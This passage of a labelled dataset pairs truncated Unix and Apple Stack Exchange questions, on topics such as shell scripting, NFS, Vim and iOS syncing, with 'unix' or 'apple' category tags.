me@mydomain.com This is so that root emails get sent directly to me. Today, a monthly script I have placed into /etc/cron.monthly has emailed me ... ",['unix'] "Title: error handling in expect? Body: I am just improving my quetion becasue i have acieved so far upto this: set username [lindex $argv 0] set password [lindex $argv 1] set hostname [lindex $argv 2] if {[llength $argv] == 0} { ... ",['unix'] "Title: core dump help— linux Body: I'm trying to understand the core dump generation. Is the core dump generated separately for a user space application process crash and the kernel level crash? Is the ulimit -c for both kinds? Can you ... ",['unix'] "Title: swap partition and its laws Body: I remember for choice of swap partition, we should use (swap > 2xRAM) at least.Of course it deprecated , because max of computer's ram is very high. kernel support it. My question: i remember each ... ",['unix'] "Title: Replacing Ubuntu 12.04 with Backtrack 5 R3 dual boot with Mac OSX Mountain Lion Body: I installed ubuntu 12.04 to run alongside my osx on my 2011 macbook air and would like to remove ubuntu completely to boot replace it with backtrack. I deleted the partition where ubuntu was located ... ",['unix'] "Title: Find Directory and copy another directory to found directory? Body: I'm attempting to find a directory A that could be in a variable location and copy another directory B into the found directory. So, I'd like to find directory A, and copy Directory B into Directory ... ",['unix'] "Title: Network not working after fiddling with webmin Body: Can some please help me restore my networking? I have a VPS CentOS 6.3. Few minutes ago it was working well, Except I couldn't connect to the Yum repository. So I thought I could change some settings ... ",['unix'] "Title: Compare two cdroms Body: I would like to verified if two CD-ROMs (UDF) identical or not. One cdrom will be read at Windows and the other CD-ROM at Linux, where the CD-ROMs can be with different burning programs. This means ... ",['unix'] "Title: Fast utility that indexes files/directories on centos 6 for faster searching through the filesystem Body: I need to often search a large directory structure (with 1 G / 13K files of data). find / grep take a lot of time. Is there any utility (or can one make an index of these files) for faster searching. ",['unix'] "Title: Incoming/Outgoing seperation for VPN Body: My situation is that I want all my outgoing connections from my Debian server to pass through a commercial VPN service I've subscribed to, but I still want to run public-accessible services on this ... ",['unix'] "Title: how to merge pdf files so that each file begins on an odd page number? Body: I need to merge a few dozed pdfs, and i want all of the input pdfs to start on an odd page in the output pdf. Example: A.pdf has 3 pages, B.pdf has 4 pages. I don't want my output to have 7 pages. ... ",['unix'] "Title: How to pass the output of a script to a command like ls without the output being split? Body: Suppose I have a script like this: #!/bin/bash printf '%q\n' ""b c"" Executing the script prints: b\ c on the commandline. Now, being in a directory which contains a file named b c I want to pass ... ",['unix'] "Title: How can I load the right hand pane of vim with a new file in linux? Body: I want to compare two files(say A and B) side by side(vertically) in in Vim. I open one of those two files(say A) and as per this answer in this site issue a Ctrl+w v . Now both the panels are showing ... ",['unix'] "Title: How to authenticate a user with PAM, that is not the user that started the application Body: I'm currently developing an authentication module for an application. The decision was made to do this by using PAM. I have made this work but it can only authenticate the user that started the ... ",['unix'] "Title: NFS configuration redhat6.3 64bit Body: I'm getting this error on the client: [root@localhost /]# mount -t nfs 192.168.18.144:/linuxcast-nfs /mnt/ mount: wrong fs type, bad option, bad superblock on 192.168.18.144:/linuxcast-nfs, ... ",['unix'] "Title: Unable to open EPS files Body: I am unable to open eps files in my machine. I have attached the screenshots of what happens when try to view a eps file with default pdf viewer and ghost script viewer (gv). The condition is same ... ",['unix'] "Title: Character count in Unix wc command Body: When I give wc command on a file with contents given below, it gives the number of characters as 30. Does it include the end of file character? Since including the space and newline there are only 29 ... ",['unix'] "Title: Website Building throught the Terminal Linux MInt please help! [closed] Body: So! I'm not even 13- 11 to be exact. But I'm making a Game, so, of course, I should have a Website, that would make sense. And, I'm making It from scratch and! I need to learn things. I'm using a ssh ... ",['unix'] "Title: Grep for string in first line of all files in directory and descendants [duplicate] Body: How can I grep for a given string in all files in the current directory, and recursively so, only considering the first line? (the #! line, if present, but only if #! is in the -first- line)? ",['unix'] "Title: I lost my data on Freenas+iScsi Body: I lost my data on Freenas+iScsi ZFS filesystem has mounted perfectly, I ran 'df' command and I can see the mount points. Also, If I browse into the folders I can see the scsi extends files, too. ... ",['unix'] "Title: Is it possible to lock bad bits in RAM on Linux? Body: Recently I bought 8 GB of RAM and it has bad bits. Is it possible to lock the bad bits to make Linux avoid them? ",['unix'] "Title: how do i suppress seds unnessary output while using option -e? Body: why n option is not working here [root@testgfs2 final]# echo a b c | sed -ne 's/[[:blank:]]/""/gp' -ne 's/^/""/pg' -ne 's/$/""/pg' a""b""c ""a""b""c ""a""b""c"" i just need : ""a""b""c"" actually ... ",['unix'] "Title: changing pattern by removing spaces? Body: file : hi hello,new york, , ,brazil site ,brazil january,month is feb , , ,indiana jones task: delete all horizontal space (spaces and tab) between any two comas (like , ,) if ... ",['unix'] "Title: Vim - Tabs in :o Show up as ^I and Autocomplete Does Not Function Body: The title basically says it all - in Vim, my tab's show up as ^I, and I'm wondering if anybody knows why this might be. This is especially annoying when using :o to open a file, as the autocomplete ... ",['unix'] "Title: AWK how to add all columns beginning with specific row Body: I have this output: Count Process 238 0 1 1124027 1 1124065 1 1124066 1 1124069 1 1124072 1 1124073 1 1547365 1 1547366 I wanted to add all Count ... ",['unix'] "Title: How to edit grub2 to use kdump? Body: I was following http://fedoraproject.org/wiki/How_to_use_kdump_to_debug_kernel_crashes and in step 2 I need to add the line to grub.cfg, but grub.cfg is a shell I do not know how to edit it, most ... ",['unix'] "Title: FS corruption just a coincidence? Body: Yesterday I replaced one of the HDDs in my remote server. The setup is simple - Debian Linux (testing), software RAID 5, LVM with 4 partitions on it, home, var, usr, and swap. I pulled the old disk, ... ",['unix'] "Title: How to ssh on multiple ipaddress and get the output and error on the local *nix machine? Body: command=""ls -lrt;uname -a;uname -o"" for i in 10.38.227.229 10.38.164.103 do ssh auto21@$i ""$command 2>&1"" >> log #ssh -n auto21@$i ""$command"" 2> >> log done i am trying ... ",['unix'] "Title: Best way to call command within a shell function having the same name [duplicate] Body: I like to encapsulate commands within shell-functions using the same name. But to avoid the shell-function calling itself recursively, I specify the complete path of the command as the following ... ",['unix'] "Title: Set global environment variables at boot in Solaris 11 Body: I am wanting to create a file in Solaris, so that I can export a few ""items"" whenever the machine is started up. i.e. I want to export ORACLE_HOME and ORACLE_SID and some other directories, of my ... ",['unix'] "Title: grub-install from the grub2 shell Body: I am trying to follow this answer but keep getting stuck with the following errors: me@greenlane:~$ sudo grub-install --boot-directory=/boot /dev/sdc /usr/sbin/grub-bios-setup: warning: File system ... ",['unix'] "Title: Extract a column from whitespace-separated fields that are not aligned Body: How can we extract a column from output in which whitespace is not in a regular format? For example, when we type ps -ef, it shows all the process, process id's.... etc. How can we get only the last ... ",['unix'] "Title: Is there any command to enable/disable a php extension from command line? Body: Is there any command to enable/disable a php extension easily from command line? (php.ini) ",['unix'] "Title: ifconfig: more different device items than physical NICs/sockets Body: I have a simple router for home users (D-Link DIR-300) with embedded Linux (kernel 2.6.21) and a bunch of networking tools. Inspecting the internals of of this system through telnet, I've got this ... ",['unix'] "Title: Multi-line replace Body: I spent ages trying to figure this out. As it happens, I don't need to do it any more; I found another way. But for the sake of my sanity, I'd like to know the answer anyway. It's quite easy to use ... ",['unix'] "Title: Using tail command to create a file Body: This is what I did using tail command. When I try to output the file to screen the file is empty. ~]$ tail > AFS2F1 PASSES ALL DATA FROM INPUT TO OUTPUT PASSES ONLY SPECIFIED COLUMNS PASSES NUMBER ... ",['unix'] "Title: Simulate chroot with unshare Body: I am trying to write a bootstrapper for a minimal, from-source linux distribution. I would like to build in a chroot-like environment. This should simplify packaging. I do not care about security at ... ",['unix'] "Title: Unable to get embedded device to ping anything on the network Body: I have an embedded device, built using buildroot, kernel version 3.6.11 running busybox. The kernel is built with completely default options. I have configured the device according to what the network ... ",['unix'] "Title: shell variable in awk is not being passed to all the lines but just for the very first line of input? Body: inputfile:is2.txt 10.39.5.41,A1,B1 10.39.5.41,A2,B2 10.39.5.41,A3,B3 10.39.5.41,A4,B4 10.39.5.41,A5,B5 10.39.5.41,A6,B6 script : #!/bin/bash second_column=""OOOOOOO"" # OOOOOOO will be added to ... ",['unix'] "Title: should I fix “No ALTQ support in kernel” to run the firewall? Body: I just messed with my pf.conf and ran pf and I got: Enabling pf. No ALTQ support in kernel Of course the fix is to re-compile the kernel, but that article is for freebsd 7. I'm on FreeBSD 9.1 I ... ",['unix'] "Title: Deleted header file /bits/types.h Body: On compiling a program using gcc, I was getting syntax errors in /sys/types.h. While investigating the problem, I ended up mixing up the /bits/types.h and /sys/types.h and I mistakenly deleted ... ",['unix'] "Title: Changing user while scp Body: I need to copy file between Linux machines. The problem that the user I use to login (myuser), is different from the user that can access the file. If I just ssh to the machine, I can switch the user ... ",['unix'] "Title: Error during yum update Body: CentOS 6.3 Recently I've started getting the following error on my CentOS VPS when running yum update: [user@foo1 ~]# yum update Loaded plugins: fastestmirror Loading mirror speeds from cached ... ",['unix'] "Title: How to list all present optical drivers? Body: How can I list all the installed optical drivers with udev or any other core-based tool (perl is also very good) ? P.S.: I know about the wodim --devices command, but it's an undesirable ... ",['unix'] "Title: A drive changes device file name after resuming from suspend (Linux Mint 14) Body: I'm running into a very odd problem: When I resume Mint 14 from suspend, one of my drives (/dev/sdc) changes letter / device file name (to /dev/sdd). fdisk -l shows that it has the same partitions, ... ",['unix'] "Title: How can I dump the full system memory? Body: After starting VirtualBox, the computer became sluggish and then hung completely due to OOM. Usually, OOM should be starting killing processes in order to free up some space, but this did not happen ... ",['unix'] "Title: Port 110 visible to the outside world - necessary or a bad idea? Body: I just did [a test][1] that told me my gateway's (debian squeeze) port 110 is visible from outside. It's a box with two network cards, eth0 is for my internal network (192.168.1.0/24) and eth1 goes ... ",['unix'] "Title: Does the sudo user need a home directory? Body: In my setup, my aim is to have A standard user with minimal permissions to use on a daily basis A superuser account, defined in /etc/sudoers. Does this second user need a home directory? Both of ... ",['unix'] "Title: Recovering an ext4 filesystem with corrupt journal Body: I have a hard drive that seems to have developed some kind of hardware problem in the journal. This prevents the drive from being loaded. Running mount -r -t ext4 /dev/sda5 /mnt/root results in the ... ",['unix'] "Title: run a command as different user with available sudo permissions Body: I want to run the below command echo 1000 > /sys/class/backlight/intel_backlight/brightness i cannot do it it like below beecause bash is the process that actually directs output to the ... ",['unix'] "Title: What's technical difference between official virtualbox and VirtualBox-OSE? Body: What's technical difference between official VirtualBox and VirtualBox-OSE? My scenario: I'm using Debian sid, it uses a 3.2.0-4 kernel. When you want to download VirtualBox, you have 3 options: ... ",['unix'] "Title: Which Linux distro/mode offers lowest interference when running your own applications? Body: I'm interested in a Linux distro to build C projects and test their behavior in a very predictable and controlled environment. I'm especially concerned about letting the scheduler deal as much as ... ",['unix'] "Title: Linux - Shell Script and Colorized Text Body: From my most recent post: (http://stackoverflow.com/questions/15046851/linux-colorizing-text-in-files) I can now colorize text, in my terminal window. (using echo) Now I'm to the point that I'd like ... ",['unix'] "Title: Equivalent of pick command in linux Body: OS: Linux Mint 14 Is there an equivalent of the pick command available in Linux? Pick command is the one where for each given argument, it asks yes/no and prints the selection to stdout. This script ... ",['unix'] "Title: How to install Conary on stage3 Gentoo Body: I'm fed up with the outdatedness of the Foresight iso (can't install it on my system because of the kernel), and I want to start my own distro. I want to start from a Gentoo stage3, and install ... ",['unix'] "Title: Why does bash show 'Terminated' after killing a process? Body: Here is the behaviour I want to understand: $ ps PID TTY TIME CMD 392 ttys000 0:00.20 -bash 4268 ttys000 0:00.00 xargs $ kill 4268 $ ps PID TTY TIME CMD 392 ttys000 ... ",['unix'] "Title: How does kernel swapping / INT 13h interrupts work? Body: I'm looking for a way to learn about and understand this technique. Here's what I'm talking about: Slax boots, {does stuff, like copy itself to RAM}, then transitions control to the kernel/file ... ",['unix'] "Title: How do I get rid of horizontal split in dwm Body: I started using dwm today and am trying to wrap my head around it, as OpenBox is my only other exposure to window managers. As suggested in the official tutorial, I first opened couple of terminals ... ",['unix'] "Title: setfacl incorrectly changes group permissions Body: To backup the ""/home"" directory tree of a server, I've created a 'backup' account and used setfacl to make the whole directory readable by it. My cron job runs this command as root each night: ... ",['unix'] "Title: memory buffering in virtual machines Body: Is there any point to doing disk buffer caching in a virtual machine, if the hypervisor OS is doing it? I wonder if buffering in the VM will just waste memory that could be better allocated to VM use, ... ",['unix'] "Title: How to upgrade a tbz package that I create in Freebsd? Body: I am newbie at freebsd packaging and I want to learn way of upgrade a package. I created a package on my development server and I installed it to test server by pkg_add foo-1.0.tbz then I changed ... ",['unix'] "Title: How to install driver for my Intel series PC Body: I installed Linux on an Intel Panel PC. Jockey cannot detect any drivers. I do not know how to install my graphics driver first so that I am be able to install touch screen. Here's some info from ... ",['unix'] "Title: Display current pane's current directory in status Body: Is there a way to update pwd in tmux status, instead of showing it in PS1? set -g status-left ""#(pwd)"" set -g status-interval 1 doesn't work. ",['unix'] "Title: Automation of openldap installation Body: In my group we often install ldap on new servers. We have two different configurations currently. A mirrored configuration and just a regular standalone configuration. The installation process gets ... ",['unix'] "Title: Why doesn't xsetwacom work from udev? Body: I made a script to rotate my Wacom Bamboo tablet 180 degrees. It works fine when I execute it as myself (user) or root, but when started from udev (i.e. when plugging the tablet into a usb port) it ... ",['unix'] "Title: how long use of linux? [duplicate] Body: /proc/uptime shows how long the system has been running since the last time I turned it on. Is there a way to determine the total amount of time the system has ever been on since I first installed it? ... ",['unix'] "Title: Makefile $wildcard only matches top directory Body: I am trying to implement a makefile for my C project which has a directory structure as follows: PROJECT_FOLDER: folder1 folder2 folder // n number of folders main.c FOLDER1: ... ",['unix'] "Title: Git Alias 'Permission Denied' Body: I'm getting a 'permission denied' error on a git alias. It works with root but not my user account: $ andy@ubuntu:/usr/local/bin$ sudo git config --global alias.lg ""log --color --graph ... ",['unix'] "Title: GDM will not start on boot, unable to login into graphical interface Body: I am running RHEL 5.8 . SELinux is enabled but in permissive mode. Here are some snippets from /var/log/messages on boot. kernel: type=1400 audit(1360613500.551:6): avc: denied { write } for ... ",['unix'] "Title: Installing GCC in Solaris_x86 Body: I have tried Googling for my answer, but everyone is saying GCC is already installed on the Solaris Operating System. They said to add /usr/sfw/bin to your $PATH, which I did, and rebooted the ... ",['unix'] "Title: Splitting RGB raw file into 3 files, one for each channel? Body: I need to convert an RGB raw file into 3 files containing each the red, green and blue channel. I have not been able to find a UNIX command line to help me with this task. ",['unix'] "Title: Understand Fd`s and nodejs Body: I'm having a bit of a confused time understanding what a file descriptor is and if I even need one! I am trying to spawn a process in nodejs and have its out put be written directly to an out put ... ",['unix'] "Title: redirect and log script output Body: I am trying to tidy up the following snippets, design goals are to log all output from a script, and should not be a wrapper. Less lines are better. I don't care about user inputs (at this stage), ... ",['unix'] "Title: Is there a way in vim to know I am in the left most split? Body: I want to detect whether or not I am in the right most (or left, top, bottommost) split. In other words, when ctrl-w h would do nothing. Is there a way to do that? ",['unix'] "Title: vim install on freebsd has taken 5 hours and counting Body: Ok, so installed portmaster and I'm trying with it, I'm hoping it won't take time. So I've been up all night and my vim installation is still going on. I have an amazon ec2 freebsd server setup. I ... ",['unix'] "Title: Is it safe to add . to my PATH? How come? Body: I've seen people mention in other answers that it's a bad idea to include the current working directory ('.') in your $PATH environment variable, but haven't been able to find a question specifically ... ",['unix'] "Title: How to make patch ignore already applied hunks Body: I have a very large patch file that I'm trying to apply to my code. The problem is, some of the changes in my patch already exist in the code. Is there a way to make patch gracefully ignore the ... ",['unix'] "Title: How to add NFS options flag to anaconda? Body: These options work for Kickstart to load the install tree from NFS: The Fedora Kickstart documentation states nfs --server=nfsserver.example.com --dir=/tmp/install-tree ... ",['unix'] "Title: Time of execution of initial service. Arch [duplicate] Body: I want o get familiar with arch. But the online documentation is full of mistakes. Well my current problem is that I want to start dhcpcd the dhcp daemon. In arch this is accomplished with (as docu ... ",['unix'] "Title: Unable to install libevent without admin priviledges Body: I just downloaded libevent-2.0.21-stable, which I am hoping to compile so that I can use tmux. However, when I run: ./configure --prefix=/path/to/libevent-2.0.21-stable/ make make install ... ",['unix'] "Title: Postfix error: Relay access denied Body: I can't send mail to external email addresses such as gmail. When I try to send a mail with telnet I get the following error: Trying 130.xx.xx.128... Connected to mydomain.com. Escape character is ... ",['unix'] "Title: Why do I need to quote variable for if, but not for echo? Body: I've read that you need double quotes for expanding variables, e.g. if [ -n ""$test"" ]; then echo '$test ok'; else echo '$test null'; fi will work as expected, while if [ -n $test ]; then echo ... ",['unix'] "Title: Bash script wait for processes and get return code Body: I am trying to create a script which will start many background command. For each background command I need to get the return code. I have been trying the following script : #!/bin/bash set -x ... ",['unix'] "Title: How to know if a disk is an SSD or an HDD Body: I want to know whether a disk is a solid-state drive or hard disk. lshw is not installed. I do yum install lshw and it says there is no package named lshw. I do not know which version of ... ",['unix'] "Title: How to set up an SSTP Server Body: Is there a way to set up a linux based, preferably ubuntu, SSTP server? I know there is a SSTP client available on sourceforge, but I can't find a server. To be clear: I do NOT want openVPN, I want ... ",['unix'] "Title: Shell script parameter substitution Body: I have seen a line of shell script as follows: local soft_upgrade=${3:-false} What does this mean? I don't know what 3:-false means. ",['unix'] "Title: Kernel/grub : how override root parameter inside initrd script Body: I have an old kernel ( 2.4.37.9 ) and I want to override or substitute the root=XXXXX parameter to send to the kernel inside the initrd script. I already made some attempt to do that but it seems ... ",['unix'] "Title: How to execute command on list of file names in a file? Body: I have listed the names of the files which are to be deleted into a file. How can I pass the file to rm command so that it should delete them one by one. ",['unix'] "Title: How to solve 2038 swfupload error? Body: I use swfupload on my debian server. I have already increased limits in my php options too.It gives me 2038 error after 500-600MB uploading. I can upload files with 200mb, or 300MB, but can't upload ... ",['unix'] "Title: Update jiffies value after waking up from suspend Body: The global variable jiffies holds the number of ticks that have occurred since the system booted. On boot, the kernel initializes the variable to zero, and it is incremented by one during each timer ... ",['unix'] "Title: How can I replace text in the last non-blank line? Body: I want to find the last line of text in a file, and delete the comma at the end of it. I asked about this already, but, after I got an answer I realized my question was not specific enough. This sed ... ",['unix'] "Title: When I set up an email server using Postfix, how do I configure it to use my domain name? Body: I decided to follow this guide, but they only make a passing mention of using a custom domain name: Insert the following details when asked (replacing server1.example.com with your domain name ... ",['unix'] "Title: Wired connection going through wrong router Body: My son has a problem not getting a cosistant wifi signal in his bedroom so he uses another router wired to the gateway. The problem I have is that when I connect to the gateway his router issues me my ... ",['unix'] "Title: How can I remove text on the last line of a file? Body: I am using a Bash shell script to construct a text file that contains a Javascript array. As far as I understand with Javascript, the last item in an array can't have a comma. In my Javascripts, that ... ",['unix'] "Title: At login, take picture of user at Login window(loginGUI promt window) Body: I have code to take a picture in a script. I don't understand how to run this script at the time of login. I would like to modify the login process so that: The user gets 3 login attempts. After 3 ... ",['unix'] "Title: lspci machine-readable format (-vmm) does not show a kernel Module/Driver line Body: I briefly read the manual of lspci, where I found out that there is a machine-readable format lspci output using ""-m"" or ""-mm"" or ""-vmm"". I need to print out the device name, the device id and the ... ",['unix'] "Title: Disadvantages of linux kernel module? Body: I am trying to understand the disadvantages of using Linux kernel modules. I understand the benefits of using them: the ability to dynamically insert code into a running system without having to ... ",['unix'] "Title: sed pattern matching with deletion over a line Body: I want to delete only some spaces(say 4) after the line$#*425 with space I am not able to complete it please suggest echo ""line$#*425 with space "" | sed 's/ /\1 \2/g' i am thinking of ... ",['unix'] "Title: Web based voice chat application Body: I'm looking for a simple server-webclient voice chat software, but yet I only saw ""voxli"" and it's down. Is there any such software which could be run on a linux based server (raspberrypi actually)? ... ",['unix'] "Title: How do you browse and upload a photo from an iPhoto Library to a website using a browser like Safari, Chrome, Firefox, etc Body: I've at a site that wants me to upload a photo. I choose Browse... but when I get to iPhoto Library, it's opaque. Is there some way to browse and choose one? ",['apple'] "Title: hotkey to switch application Body: I am running os 10.8.4 and would like to switch between full screen applications that are already open using hotkeys. I can only use cmd + 1 to move to space 1, but cmd + 2 does not work if you have ... ",['apple'] "Title: How can I do a fresh install of OSX Mountain Lion onto my SSD for my Macbook? Body: So I just got a SSD for my MacBook Pro (early 2011). My macbook is sluggish and has so much stuff that I don't use anymore and just want to start over from scratch basically. I did a time machine ... ",['apple'] "Title: Fresh install of 10.7 does not wake up when requested to share screen Body: I have a white MacBook which has been running as an Eyetv video recorder for several years with 10.6. I decided to upgrade the harddisk and then install a fresh 10.7. My problem now is that when it ... ",['apple'] "Title: Repair Bootcamp after creating new partitions Body: I have an iMac 9.1 with OS X Leopard on it. A while ago I used Bootcamp to install Windows 7 on it. For several reasons I now wanted to add two more partitions to the disk using the Disk Utility. I ... ",['apple'] "Title: Clean 5.1.1 to 6 with backup? Body: I have a 3rd gen retina ipad with 5.1.1 and no jailbreak. I want to try ios 6, but with the option to go back if I don't like it. From what I have read Apple gives no way to go back. I don't mind ... ",['apple'] "Title: com.apple.finder AppleShowAllFiles updates automatically [duplicate] Body: I have been trying to write a shell script which could toggle visibility of hidden files CURRENT_STATUS=`defaults read com.apple.Finder AppleShowAllFiles` NEW_STATUS=""YES"" if [ ""$CURRENT_STATUS"" = ... ",['apple'] "Title: iPod 3rd Generation--Music is erased when disconnected from computer Body: Anytime I connect my iPod to my computer, load music from my iTunes library, and disconnect my iPod, all of my music and videos are erased. My iPod works fine when it connects to my sister's computer, ... ",['apple'] "Title: iPhone 4 audio only works for a few seconds Body: I've had my iPhone 4 for a long time, and I don't really want to get a new one. I'm trying to find a solution to fix it. The alert sound, key clicks and lock sound still work, but sound through the ... ",['apple'] "Title: Why is chrome rendering web pages so bad? Body: Since updating to the latest version, chrome is rendering pages completely wrong. Browsing the web I haven't found people with the same problem. I'm attaching a screenshot for people to better ... ",['apple'] "Title: Do any iOS Email Clients allow the folders to expand/collapse like Outlook? Body: I have a 12+ gb exchange account, with hundreds of files & sub files. The iOS mail client doesn't allow the folders to collapse & expand, which makes searching for files a real PITA. Are there ... ",['apple'] "Title: How to create ~/.bash_profile and ~/.profile Body: So, I don't have .bash_profile neither .profile in my home folder. How do I create them? After that, what should I do so every time I open the terminal these files get read? ",['apple'] "Title: Show all applications using keyboard shortcut Body: Problem: Show all installed applications in the /Applications folder using keyboard shortcut. Desired solution: Potential utility/tool that runs in the background to show all applications upon ... ",['apple'] "Title: How do I hide the parent folder of the user home folders in File Sharing? Body: I'm running 10.8 server and I have a folder named Users and it is the parent folder for every local network user's home folder. Now, when the user connects to the server he sees his home folder, but ... ",['apple'] "Title: Faster Press and Hold Character Picker Body: Does anyone know how to make the character picker appear more quickly? I use it enough now in my German language studies that it has become second nature for the critical marks and much faster than ... ",['apple'] "Title: OS X - Create a personal bin directory (~/bin) and run scripts without specifying their full path Body: So, what I am trying to do is to create a personal bin directory at my home folder. I created the following folder: /Users/thi/bin I put my scripts in this folder, but if I type in the Terminal: ... ",['apple'] "Title: What software is this in my menubar? Body: Right beside the Alfred icon, there's a small up and down arrow indicating bandwidth upload and download speeds. I remember downloading and installing something for this, and now I can't remember ... ",['apple'] "Title: Trouble updating iPhone 3GS Body: I have a jailbroken iPhone 3gs which runs iOS 4.1 (8B117). Predictably, I can't download most of the apps and so often, I feel like it's not even an smartphone. So I need to update it anyhow. But ... ",['apple'] "Title: How can I shut off the confirmation prompt when I delete conversations in Messages in OS X? Body: I receive a lot of messages on my MacBook Pro on a daily basis. Periodically throughout the day I need to delete multiple conversations in messages for clarity purposes. Each time I delete a ... ",['apple'] "Title: How to fix incorrectly sorted albums whose titles contain numbers Body: I have an iPod Classic 160gb 6g. In Cover Flow it appears that some of the albums containing numbers in the title will end up at the end of the alphabet. For example, this is the end of the Cover ... ",['apple'] "Title: How do I create a Folder Action Script to tar items dropped in folder? Body: I would like to drop/copy files/folders and have them compressed then copied to my desktop. This is what I know so far... and it isn't much so any help would be appreciated. on adding folder items to ... ",['apple'] "Title: Turning off text to speech in iMessage Body: How can I turn off the ""text to speech"" feature in iMessage? I don't mind iMessage bouncing in the dock when a message comes in, but I can't have iMessage speaking the message. Not only is this ... ",['apple'] "Title: Docs needed to read before submitting app to App Store Body: what are the documents one has to read before submitting App to the Appstore? I guess these are the two: -App review guidelines link -iOS human interface guidelines link are there others? ",['apple'] "Title: iMessage sync with the computer? Body: I know that if you have an iPhone and an iMac computer/laptop, you can text off your iPhone, then once coming within a certain radius of your computer, iCloud uses Wi-Fi and sends the conversations to ... ",['apple'] "Title: How to use different contacts on different iPhones with the same Apple ID Body: My daughter and I use two iPhones, both connected to the same Apple ID. At the moment I see my daughter's contacts merged to my contact list, but we'd like to use our contact lists separately from ... ",['apple'] "Title: iMac G5 works very loudly. How to fix it? Body: I only run Safari with maximum 3-5 tabs opened and the machine makes noise like a vacuum cleaner making it very hard to work on. Any ideas how to fix it? ",['apple'] "Title: What is the default behavior and appearance of an Exchange meeting request on IOS? Body: Does anyone know the ""official"" way an Exchange meeting request is supposed to show up in a recipient's iOS mailbox? In my experience on various Exchange environments, the meeting request appears as ... ",['apple'] "Title: Apache problem with hostname on OSX 10.8.4 Body: After updating to 10.8.4 I am having trouble running my macports apache server. I stop the built-in apache with: sudo apachectl stop, then I try to start macports apache with: sudo ... ",['apple'] "Title: Cisco VPN timeout issues Body: I'm trying to use the native Cisco VPN client installed with Lion and it's been a terrible experience. The VPN times out between 15 and 45 minutes and I can't seem to fix it. I've followed guides for ... ",['apple'] "Title: Can anyone manipulate the iPad keyboard Body: I am looking for some info surrounding the iPad keyboard. WITHOUT jailbreaking the device, I was curious if someone has been been able to manipulate the look of the keyboard. The functionality should ... ",['apple'] "Title: Clicking on dock icon makes windows for other applications disappear Body: I just began using a new Macbook Pro 15"" Retina running Mountain Lion. After a couple of days transfering files (from my previous Macbook Pro (early 2011) running Snow Leopard) and generally setting ... ",['apple'] "Title: Update App installed via Apple Configurator with other Apple ID Body: We installed iBooks through Apple Configurator to hundreds of iPad all with the same Apple ID. Now the users want to update the app but iOS is asking that Apple ID's password. Is there a way to allow ... ",['apple'] "Title: Video from Mac to Apple TV, audio to Airport Express Body: I want to output video from my rMBP to my Apple TV but send the audio to AirPort Express connected to my sound system. I have tried every way imaginable to accomplish this, and nothing seems to work. ... ",['apple'] "Title: What can I use a iMac G5 17"" 1.9GHz for? Body: I'm very new to the Apple world, and I want to buy iMac G5 17"", 1.9GHz, 512GB of RAM (upgraded to 1.5GB) and ATI Radeon X600. What this machine can do in real life? I mean, these numbers mean to me ... ",['apple'] "Title: How can you stop “Verification required” when installing free apps? Body: Whenever I install a free app on my Ipad, this message appears: Verification required Before you can make purchases, you must tap continue to sign in, then verify your payment info. What does ... ",['apple'] "Title: music note on the notification bar could not be removed and it's eating up my battery Body: There seems to be a music note that is hanging on my notification bar near my battery and i don't know how to remove it and i think it's eating up my battery usage! ",['apple'] "Title: Can one pan across a panorama photo that is longer than the screen in Keynote? Body: The panorama photo is displayed in the center of the view area in Keynote, cutting off both the left and right ends. I would like to have the photo displayed first from the left and then pan across to ... ",['apple'] "Title: Google Calendar failing to sync on a specific account Body: I have a late 2012 Macbook Pro that came running Mountain Lion out of the box. I have used Mail and Messages with my various Google accounts since I purchased it, but never Calendar. When I checked ... ",['apple'] "Title: How can I share media from phone to computer via bluetooth: video Body: My home internet connection is limited to 1mbs down which makes it very hard to watch videos on my computer. However my cellular connection is a very respectable 50mbs down, making videos on my phone ... ",['apple'] "Title: Any patch to manually throttle CPU in OS X 10.8? Body: I'm running a water-damaged Late 2011 Macbook Air. After letting it dry and changing the battery (which died), the computer is still really slow and after doing some investigation, and applying a fix ... ",['apple'] "Title: Changing Creation Date of a file Body: Could you please let me know how I can change the creation date of a file in Lion. I realise there is the touch-t command but that does not work in Lion. A couple of people have mentioned another ... ",['apple'] "Title: Keychain Access is empty Body: When I open my keychain access, it is empty. I can't see anything in it. However, I know that all of my stuff is still working (websites don't prompt me to log in, I join wifi networks, Xcode still ... ",['apple'] "Title: Is there any way to disable OR password protect my iPhone to prevent someone from turning it off? Body: If my phone is stolen, I would think the first thing a thief would do is turn it off. Is there any way to disable or password protect this via settings (which I doubt) OR a cydia tweak? ",['apple'] "Title: Macbook Pro boots successfully when using hard drive in USB enclosure but doesn't boot when connected internally Body: Apologies for the long question. I will keep it as simple as I can. Last week my Macbook Pro (13-inch, Mid 2010) started to act strange. It started when I tried to open Skype and received an error ... ",['apple'] "Title: How to get EasyPG to work in Aquamacs? Body: I am trying to use EasyPG in Aquamacs to encrypt files ""on the fly"". When I go to save, I have the option of choosing no installed key to be able to apply symmetric encryption. When I do so, however, ... ",['apple'] "Title: How would applications on the iPhone adapt to a bigger iPhone screen? [closed] Body: A lot of rumours are going around about Apple and the iPhone 6, one if which is that the iPhone 6 could have a bigger (6 inch) screen. Being an iOS developer I know that most apps on the iStore use ... ",['apple'] "Title: iOS and Macbook Pro/Air unable to join wifi network unless Network Isolation is enabled? Body: I have a Netgear WNDR3700v3 wifi router, broadcasting two networks, one at 2.4GHz and another at 5GHz. I have found that iPhone AND Macbook devices are unable to join the 2.4GHz network (timeout ... ",['apple'] "Title: How does iOS delete a file technically and can it potentially be undeleted? Body: We have an interesting discussion here about file deletion on iOS devices. The question was: if I delete a file using NSFileManager, what's happening under the hood? My understanding is that deletion ... ",['apple'] "Title: Update of app shown in iPhone but not in iPad? Body: I have a first version of my app in app store.Recently I released the next version with some bug fixes. Once apple approves the next version of my app, the update shown in ""App Store app"" in my iPhone ... ",['apple'] "Title: Why do browsers not render pictures in native pixel density on retina display? Body: It seems to me that browsers (Chrome, Safari, Firefox) on my retina Macbook Pro do not render any pictures at native pixel density. For example, when I open an image from google images and then ... ",['apple'] "Title: How to have different colors in each Terminal window Body: Can I do this? OMG, I looked for hours, and every article I find tells me how to colorize the output of ls. Or colorize my prompt. I really really really don't want that. I want to colorize the ... ",['apple'] "Title: How can I reject sync changes for my OS X Contacts? Body: I have my OS X Mountain Lion contacts hooked up to synchronize with Google Contacts. Every once in a while, I receive a notice that ""Syncing with Google Contacts will change more than 25% of your ... ",['apple'] "Title: Icloud back up not avaialble [closed] Body: I have lost my iCloud backup on my desk top and my iPad is locked saying it hasn't been backed up in over 5 weeks. I have attempted to load iCloud without success and I cannot do anything with my ... 